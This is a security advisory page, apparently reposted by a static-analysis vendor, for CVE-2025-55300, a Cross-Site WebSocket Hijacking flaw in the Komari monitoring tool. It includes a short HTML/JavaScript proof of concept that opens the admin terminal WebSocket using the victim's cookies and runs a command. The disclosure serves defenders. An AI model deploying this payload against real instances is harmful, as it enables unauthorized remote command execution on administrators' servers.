UNKNOWN Go
Komari vulnerable to Cross-site WebSocket Hijacking
GHSA-q355-h244-969h · CVE-2025-55300 · GO-2025-3874
Published · Modified
AI SAST
Find this class of vulnerability in your own code
Corgea's AI-native static analysis detects vulnerabilities like this one across your repositories, ranks them by exploitability, and returns review-ready fixes.
Description
Summary
WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users
Details
Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution
PoC
- Login in to your komari instance
- Hosting the following HTML code on internet, replace
<komari-addr>and<target-uuid>into yours - Visit this HTML page, you can see your node is executing
uptimewithout your actions
<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>
Impact
An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.
References
- WEB https://github.com/komari-monitor/komari/security/advisories/GHSA-q355-h244-969h
- WEB https://github.com/komari-monitor/komari/commit/53171affcaf050145810efaaef420651a6e630be
- PACKAGE https://github.com/komari-monitor/komari
- WEB https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35
- WEB https://github.com/komari-monitor/komari/releases/tag/1.0.4-fix2
Ready to move
Start Securing
Free, no credit card | First findings in minutes